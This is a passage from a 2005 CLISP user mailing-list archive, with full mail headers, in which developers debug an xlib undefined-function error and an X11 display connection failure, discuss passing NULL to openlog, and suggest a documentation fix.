May 2005 18:44:12 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id EAD9610FBF3; Mon, 9 May 2005 18:44:11 +0200 (CEST) To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-103.1 required=5.0 tests=AWL,BAYES_00, UPPERCASE_25_50,USER_IN_WHITELIST autolearn=no version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] xlib finds no POSIX::HOSTENT-ADDR-TYPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 09:45:59 2005 X-Original-Date: Mon, 9 May 2005 18:44:11 +0200 (CEST) % /usr/local/bin/clisp -norc -ansi -q -K full -m 32M -I -Epathname ISO-8859-1 -Efile ISO-8859-1 -Emisc ISO-8859-1 -Eforeign ISO-8859-1 -Eterminal UTF-8 [1]> (xlib:open-display "localhost") *** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE The following restarts are available: USE-VALUE :R1 You may input a value to be used instead of (FDEFINITION 'POSIX::HOSTENT-ADDR-TYPE). RETRY :R2 Retry STORE-VALUE :R3 You may input a new value for (FDEFINITION 'POSIX::HOSTENT-ADDR-TYPE). ABORT :R4 ABORT Break 1 [2]> (lisp-implementation-version) "2.33.83 (2005-03-14) (built 3324433689) (memory 3324434889)" Break 1 [2]> There are: HOSTENT-ADDR-LIST HOSTENT-ADDRTYPE ^^^^^^^^ ------------------------------------------------------------------------ After: (ext:without-package-lock (:posix) (defun posix::hostent-addr-type (&rest args) (apply (function posix::hostent-addrtype) args))) [12]> (xlib:open-display "localhost") *** - Connection failure to X11.0 server localhost display 0: No protocol specified The following restarts are available: ABORT :R1 ABORT Break 1 [13]> ??? How can I specify the missing protocol? -- __Pascal Bourguignon__ http://www.informatimago.com/ Cats meow out of angst "Thumbs! If only we had thumbs! We could break so much!" From sds@gnu.org Mon May 09 10:09:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVBkl-0003b3-67 for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 10:09:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVBkh-0001Ax-Jh for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 10:09:10 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j49H8j58029818; Mon, 9 May 2005 13:08:50 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17023.31283.997262.816653@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 9 May 2005 16:56:51 +0200") References: <20050507054456.789D010FBF3@thalassa.informatimago.com> <17023.31283.997262.816653@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 10:10:22 2005 X-Original-Date: Mon, 09 May 2005 13:08:15 -0400 do you know what happens when ident==NULL is passed to openlog? -- Sam Steingold (http://www.podval.org/~sds) running w2k Programming is like sex: one mistake and you have to support it for a lifetime. From pjb@informatimago.com Mon May 09 11:15:17 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVCme-0000sH-LW for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 11:15:12 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DVCma-0003TB-Np for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 11:15:12 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 23CD3585C8; Mon, 9 May 2005 20:14:53 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B438F10FBF3; Mon, 9 May 2005 20:14:53 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17023.43165.657688.307978@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050507054456.789D010FBF3@thalassa.informatimago.com> <17023.31283.997262.816653@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 11:16:20 2005 X-Original-Date: Mon, 9 May 2005 20:14:53 +0200 Sam Steingold writes: > do you know what happens when ident==NULL is passed to openlog? The standard doesn't evision such an occurence: http://www.opengroup.org/onlinepubs/007908799/xsh/openlog.html "The ident argument is a string that is prepended to every message." But glibc openlog man page indicates that: The use of openlog() is optional; it will automatically be called by syslog() if necessary, in which case ident will default to NULL. and notes: The parameter ident in the call of openlog() is probably stored as-is. Thus, if the string it points to is changed, syslog() may start prepending the changed string, and if the string it points to ceases to exist, the results are undefined. Most portable is to use a string constant. So we can guess that passing NULL as ident to openlog would work with glibc, but this is not prudent to pass NULL to openlog. If the user wants the default ident, he should not call openlog. -- __Pascal Bourguignon__ http://www.informatimago.com/ The world will now reboot. don't bother saving your artefacts. From sds@gnu.org Mon May 09 11:17:57 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVCpJ-000106-CH for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 11:17:57 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVCpG-0005QU-LA for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 11:17:57 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j49IHbjl009788; Mon, 9 May 2005 14:17:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 9 May 2005 18:44:11 +0200 (CEST)") References: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: xlib finds no POSIX::HOSTENT-ADDR-TYPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 11:20:59 2005 X-Original-Date: Mon, 09 May 2005 14:17:06 -0400 > * Pascal J.Bourguignon [2005-05-09 18:44:11 +0200]: > > *** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE fixed, thanks. > [12]> (xlib:open-display "localhost") > > *** - Connection failure to X11.0 server localhost display 0: > No protocol specified > The following restarts are available: > ABORT :R1 ABORT > Break 1 [13]> > > ??? How can I specify the missing protocol? I have no idea. could you please do ":bt" or even ":bt1" to figure out which function reports this error? -- Sam Steingold (http://www.podval.org/~sds) running w2k There are 3 kinds of people: those who can count and those who cannot. From sds@gnu.org Mon May 09 12:12:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVDfm-0005rT-3Q for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 12:12:10 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVDfi-0007HP-FC for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 12:12:10 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j49JBara017724; Mon, 9 May 2005 15:11:37 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17023.43165.657688.307978@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 9 May 2005 20:14:53 +0200") References: <20050507054456.789D010FBF3@thalassa.informatimago.com> <17023.31283.997262.816653@thalassa.informatimago.com> <17023.43165.657688.307978@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Patch for POSIX:OPENLOG Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 12:13:21 2005 X-Original-Date: Mon, 09 May 2005 15:11:20 -0400 I applied your patch with some minor changes. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Don't ascribe to malice what can be adequately explained by stupidity. From pjb@informatimago.com Mon May 09 12:44:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVEBN-0000fy-4G for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 12:44:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVEBK-0004J4-02 for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 12:44:49 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id B5827585C8; Mon, 9 May 2005 21:44:31 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 0884F10FBF3; Mon, 9 May 2005 21:44:30 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17023.48542.836724.986658@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: xlib finds no POSIX::HOSTENT-ADDR-TYPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 12:46:31 2005 X-Original-Date: Mon, 9 May 2005 21:44:30 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-05-09 18:44:11 +0200]: > > > > *** - FUNCALL: undefined function POSIX::HOSTENT-ADDR-TYPE > > fixed, thanks. > > > [12]> (xlib:open-display "localhost") > > > > *** - Connection failure to X11.0 server localhost display 0: > > No protocol specified > > The following restarts are available: > > ABORT :R1 ABORT > > Break 1 [13]> > > > > ??? How can I specify the missing protocol? > > I have no idea. > could you please do ":bt" or even ":bt1" to figure out which function > reports this error? [4]> (xlib:open-display "localhost") *** - Connection failure to X11.0 server localhost display 0: No protocol specified The following restarts are available: ABORT :R1 ABORT Break 1 [5]> :bt1 <1> # <2> # <3> # <4> # <5> # <6> # <7> # <8> # <9> # - # - NIL <10> # - # <11> # <12> # 11 frame binding variables (~ = dynamically): | ~ SYSTEM::*PRIN-STREAM* <--> # frame binding variables (~ = dynamically): | ~ *PRINT-READABLY* <--> NIL frame binding variables (~ = dynamically): | ~ *PRINT-ESCAPE* <--> T - # - # - # - (:MAJOR-VERSION 11 :MINOR-VERSION 0 :HOST "localhost" :DISPLAY 0 :REASON "No protocol specified ") - XLIB:CONNECTION-FAILURE <13> # - NIL - NIL - NIL - 0 - 11 - 22 - NIL - #(78 111 32 112 114 111 116 111 99 111 108 32 115 112 101 99 105 102 105 101 100 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) unwind-protect frame - #S(XLIB::REPLY-BUFFER :SIZE 4096 :IBUF8 #(78 111 32 112 114 111 116 111 99 111 108 32 115 112 101 99 105 102 105 101 100 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ... 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0) :NEXT NIL :DATA-SIZE 0) - # - "" - "" - # <14> # unwind-protect frame - NIL - # - # - # - "" - "" - NIL - 0 - "localhost" <15> # - # EVAL frame for form (XLIB:OPEN-DISPLAY "localhost") - # - # <16> # frame binding variables (~ = dynamically): | ~ SYSTEM::*ACTIVE-RESTARTS* <--> NIL compiled tagbody frame for #(NIL) - 87 - #(NIL NIL) Printed 16 frames Break 1 [5]> -- __Pascal Bourguignon__ http://www.informatimago.com/ This is a signature virus. Add me to your signature and help me to live From sds@gnu.org Mon May 09 14:33:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVFsg-00028I-3e for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 14:33:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1DVFse-0005ne-FV for clisp-list@lists.sourceforge.net; Mon, 09 May 2005 14:33:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j49LXIBn005609; Mon, 9 May 2005 17:33:23 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <17023.48542.836724.986658@thalassa.informatimago.com> (Pascal J. Bourguignon's message of "Mon, 9 May 2005 21:44:30 +0200") References: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> <17023.48542.836724.986658@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: xlib finds no POSIX::HOSTENT-ADDR-TYPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon May 9 14:35:30 2005 X-Original-Date: Mon, 09 May 2005 17:32:47 -0400 > * Pascal J.Bourguignon [2005-05-09 21:44:30 +0200]: > >> > ??? How can I specify the missing protocol? did you try OPEN-DEFAULT-DISPLAY? I think it worked for me... -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. From pjb@informatimago.com Tue May 10 01:24:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVQ2G-0004Q7-79 for clisp-list@lists.sourceforge.net; Tue, 10 May 2005 01:24:12 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DVQ2E-0002Eh-Gq for clisp-list@lists.sourceforge.net; Tue, 10 May 2005 01:24:12 -0700 Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9DCE6585C8; Tue, 10 May 2005 10:24:06 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 8A61010FBF3; Tue, 10 May 2005 10:24:05 +0200 (CEST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17024.28581.400032.919530@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <20050509164411.EAD9610FBF3@thalassa.informatimago.com> <17023.48542.836724.986658@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: xlib finds no POSIX::HOSTENT-ADDR-TYPE Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue May 10 01:25:47 2005 X-Original-Date: Tue, 10 May 2005 10:24:05 +0200 Sam Steingold writes: > > * Pascal J.Bourguignon [2005-05-09 21:44:30 +0200]: > > > >> > ??? How can I specify the missing protocol? > > did you try OPEN-DEFAULT-DISPLAY? > I think it worked for me... Well, what worked was: (xlib:open-display ""). Otherwise, (xlib:open-default-display) works ok. -- __Pascal Bourguignon__ http://www.informatimago.com/ You never feed me. Perhaps I'll sleep on your face. That will sure show you. From kavenchuk@jenty.by Wed May 11 05:23:40 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVqFT-0001f2-LJ for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 05:23:35 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DVqFR-000574-QO for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 05:23:35 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id KMW5K3RH; Wed, 11 May 2005 15:26:32 +0300 Message-ID: <4281F970.7050500@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] clisp.bat in doc/clisp.html Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed May 11 05:24:55 2005 X-Original-Date: Wed, 11 May 2005 15:24:16 +0300 clisp from CVS head, mingw May be change in doc/clisp.h from clisp.bat to clisp.exe:
clisp.bat
startup driver
Thanks. -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Wed May 11 06:53:47 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DVrel-0006WK-7E for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 06:53:47 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1DVrei-0008Pc-Kq for clisp-list@lists.sourceforge.net; Wed, 11 May 2005 06:53:47 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.158]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j4BDqlt4004866; Wed, 11 May 2005 09:52:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4281F970.7050500@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 11 May 2005 15:24:16 +0300") References: <4281F970.7050500@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 